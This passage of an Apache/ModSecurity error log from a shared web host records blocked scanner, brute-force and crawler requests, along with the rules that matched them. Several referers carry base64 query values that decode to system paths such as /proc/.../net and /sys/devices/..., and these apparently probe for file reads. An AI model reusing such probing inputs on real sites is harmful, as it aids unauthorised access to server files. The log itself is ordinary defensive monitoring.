vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3z4tyTkdrNlD40tSHBagAANGA"] [Sat Jun 13 18:20:50.393909 2026] [access_compat:error] [pid 646876:tid 646882] [remote 57.141.14.68:33826] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:50.394188 2026] [access_compat:error] [pid 646876:tid 646882] [remote 57.141.14.68:33826] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:50.399021 2026] [security2:error] [pid 646876:tid 646917] [remote 209.87.149.26:25851] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 26.149.87.209.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "mail.viniteca.pe"] [uri "/wp-login.php"] [unique_id "ai3z4tyTkdrNlD40tSHBbwAABCY"] [Sat Jun 13 18:20:50.584752 2026] [access_compat:error] [pid 646876:tid 646885] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQ2L3N1YnN5c3RlbS9pbnB1dDYvZXZlbnQ1L2RldmljZQ== [Sat Jun 13 18:20:50.585056 2026] [access_compat:error] [pid 646876:tid 646885] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQ2L3N1YnN5c3RlbS9pbnB1dDYvZXZlbnQ1L2RldmljZQ== [Sat Jun 13 18:20:50.587445 2026] [security2:error] [pid 648189:tid 648274] [remote 17.22.237.240:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 240.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3z4lWSojQL4F7upKCImwAA2zQ"] [Sat Jun 13 18:20:50.622119 2026] [security2:error] [pid 646876:tid 646963] [remote 209.87.149.26:25851] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 26.149.87.209.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "mail.viniteca.pe"] [uri "/wp-login.php"] [unique_id "ai3z4tyTkdrNlD40tSHBdwAAC1Q"], referer: https://mail.viniteca.pe/wp-login.php [Sat Jun 13 18:20:50.736400 2026] [access_compat:error] [pid 646876:tid 646972] [remote 57.141.14.96:57945] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:50.736699 2026] [access_compat:error] [pid 646876:tid 646972] [remote 57.141.14.96:57945] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:50.845860 2026] [security2:error] [pid 648189:tid 648316] [remote 23.98.142.183:38382] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 183.142.98.23.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.captpeacock.com"] [uri "/peacock-bass-fishing.php"] [unique_id "ai3z4lWSojQL4F7upKCIoQAAmV4"] [Sat Jun 13 18:20:50.935256 2026] [access_compat:error] [pid 646876:tid 646986] [remote 57.141.14.2:29513] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:50.935740 2026] [access_compat:error] [pid 646876:tid 646986] [remote 57.141.14.2:29513] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:51.054338 2026] [security2:error] [pid 648189:tid 648410] [client 5.255.231.77:56920] ModSecurity: Access denied with code 429 (phase 2). Pattern match "Mozilla\\\\/5\\\\.0 \\\\(compatible; YandexBot\\\\/3\\\\.0; \\\\+http:\\\\/\\\\/yandex\\\\.com\\\\/bots\\\\)" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/othercrawler.conf"] [line "3"] [id "901008"] [msg "Yandex Crawler 429 ADDED BY MONITORING DO NOT WHITELIST"] [hostname "salserodeacero.net"] [uri "/robots.txt"] [unique_id "ai3z41WSojQL4F7upKCIpQAAAL0"] [Sat Jun 13 18:20:51.179918 2026] [access_compat:error] [pid 646876:tid 646970] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQ0L3N1YnN5c3RlbS9ldmVudDIvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:20:51.180202 2026] [access_compat:error] [pid 646876:tid 646970] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQ0L3N1YnN5c3RlbS9ldmVudDIvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:20:51.235463 2026] [security2:error] [pid 648189:tid 648294] [remote 57.141.14.64:45230] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 64.14.141.57.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "nelsonfarmstn.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "ai3z41WSojQL4F7upKCIqAAAu0g"], referer: https://nelsonfarmstn.com/shop/?add_to_wishlist=536&_wpnonce=dacad5c21f&add-to-cart=402 [Sat Jun 13 18:20:51.332800 2026] [autoindex:error] [pid 646876:tid 647125] [client 143.244.57.82:33716] AH01276: Cannot serve directory /home4/bbrouzmy/public_html/: No matching DirectoryIndex (index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.php,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive [Sat Jun 13 18:20:51.450781 2026] [security2:error] [pid 648189:tid 648347] [remote 194.88.103.248:0] ModSecurity: Warning. Pattern match "/(contact(o|.?us)?|wp-comments-post|(send)?.?(form.)?e?mail(er)?|memberlist|send|contact.form(.handler)?|thankyou|leafmailer[0-9.]*)\\\\.php" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1546"] [id "900923"] [msg "contact form logging"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3z41WSojQL4F7upKCIrwAA-Hw"], referer: https://www.torquayfans.com [Sat Jun 13 18:20:51.450816 2026] [security2:error] [pid 648189:tid 648347] [remote 194.88.103.248:0] ModSecurity: Access denied with code 409 (phase 2). Match of "eq 1" against "&REQUEST_COOKIES:humans_21909" required. [file "/opt/mod_security/hg_rules.conf"] [line "1552"] [id "900424"] [msg "Transparent Bot Detection for Contact Forms"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3z41WSojQL4F7upKCIrwAA-Hw"], referer: https://www.torquayfans.com [Sat Jun 13 18:20:51.483424 2026] [security2:error] [pid 646876:tid 647036] [client 143.244.57.82:33716] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "mail.bbr.ouz.mybluehost.me"] [uri "/wp-includes/wlwmanifest.xml"] [unique_id "ai3z49yTkdrNlD40tSHBowAAABw"] [Sat Jun 13 18:20:51.615116 2026] [security2:error] [pid 646876:tid 646966] [remote 17.22.237.7:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 7.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3z49yTkdrNlD40tSHBqgAAAlc"] [Sat Jun 13 18:20:51.640324 2026] [access_compat:error] [pid 646876:tid 646962] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQwL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQx [Sat Jun 13 18:20:51.640805 2026] [access_compat:error] [pid 646876:tid 646962] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQwL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQx [Sat Jun 13 18:20:51.739539 2026] [access_compat:error] [pid 648189:tid 648280] [remote 57.141.14.64:27686] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:51.739820 2026] [access_compat:error] [pid 648189:tid 648280] [remote 57.141.14.64:27686] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:51.792165 2026] [security2:error] [pid 646876:tid 646920] [remote 17.241.219.132:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 132.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3z49yTkdrNlD40tSHBswAAFyk"] [Sat Jun 13 18:20:51.807798 2026] [security2:error] [pid 648189:tid 648409] [client 172.56.168.133:62315] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3z41WSojQL4F7upKCIuAAAALw"] [Sat Jun 13 18:20:51.812064 2026] [security2:error] [pid 648189:tid 648409] [client 172.56.168.133:62315] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3z41WSojQL4F7upKCIuAAAALw"] [Sat Jun 13 18:20:52.090912 2026] [autoindex:error] [pid 646876:tid 647108] [client 143.244.57.82:33726] AH01276: Cannot serve directory /home4/bbrouzmy/public_html/: No matching DirectoryIndex (index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.php,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive [Sat Jun 13 18:20:52.189457 2026] [access_compat:error] [pid 646876:tid 646934] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQ2L21vdXNlMi9kZXZpY2UvZXZlbnQ1L2RldmljZQ== [Sat Jun 13 18:20:52.189735 2026] [access_compat:error] [pid 646876:tid 646934] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQ2L21vdXNlMi9kZXZpY2UvZXZlbnQ1L2RldmljZQ== [Sat Jun 13 18:20:52.190776 2026] [access_compat:error] [pid 648189:tid 648247] [remote 57.141.14.94:26136] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:52.191039 2026] [access_compat:error] [pid 648189:tid 648247] [remote 57.141.14.94:26136] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:52.238319 2026] [security2:error] [pid 646876:tid 647098] [client 143.244.57.82:33726] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "mail.bbr.ouz.mybluehost.me"] [uri "/blog/wp-includes/wlwmanifest.xml"] [unique_id "ai3z5NyTkdrNlD40tSHBxwAAAFo"] [Sat Jun 13 18:20:52.699839 2026] [security2:error] [pid 648189:tid 648429] [client 210.217.96.217:10014] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 217.96.217.210.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai3z5FWSojQL4F7upKCIzwAAANA"] [Sat Jun 13 18:20:52.699982 2026] [security2:error] [pid 648189:tid 648429] [client 210.217.96.217:10014] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai3z5FWSojQL4F7upKCIzwAAANA"] [Sat Jun 13 18:20:52.701299 2026] [access_compat:error] [pid 646876:tid 646918] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9ldmVudDQvcG93ZXI= [Sat Jun 13 18:20:52.701560 2026] [access_compat:error] [pid 646876:tid 646918] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9ldmVudDQvcG93ZXI= [Sat Jun 13 18:20:52.733926 2026] [access_compat:error] [pid 648189:tid 648311] [remote 57.141.14.74:33056] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:52.734186 2026] [access_compat:error] [pid 648189:tid 648311] [remote 57.141.14.74:33056] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:52.827912 2026] [security2:error] [pid 646876:tid 647114] [client 216.73.216.11:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 11.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/ctype/tests/ctype_space_basic.phpt"] [unique_id "ai3z5NyTkdrNlD40tSHB3wAAAGo"] [Sat Jun 13 18:20:52.838935 2026] [security2:error] [pid 646876:tid 647081] [client 143.244.57.82:33736] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "mail.bbr.ouz.mybluehost.me"] [uri "/web/wp-includes/wlwmanifest.xml"] [unique_id "ai3z5NyTkdrNlD40tSHB4AAAAEk"] [Sat Jun 13 18:20:52.895813 2026] [access_compat:error] [pid 646876:tid 646926] [remote 74.7.242.16:54208] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxNDkxL25ldA== [Sat Jun 13 18:20:52.896239 2026] [access_compat:error] [pid 646876:tid 646926] [remote 74.7.242.16:54208] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxNDkxL25ldA== [Sat Jun 13 18:20:53.047867 2026] [security2:error] [pid 646876:tid 646941] [remote 17.22.237.110:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 110.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3z5dyTkdrNlD40tSHB5wAAZT4"] [Sat Jun 13 18:20:53.212017 2026] [access_compat:error] [pid 646876:tid 646929] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQxL2RldmljZS9kcml2ZXIvTE5YUFdSQk46MDAvZHJpdmVy [Sat Jun 13 18:20:53.212294 2026] [access_compat:error] [pid 646876:tid 646929] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQxL2RldmljZS9kcml2ZXIvTE5YUFdSQk46MDAvZHJpdmVy [Sat Jun 13 18:20:53.222990 2026] [security2:error] [pid 648189:tid 648349] [remote 110.249.202.200:10494] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| 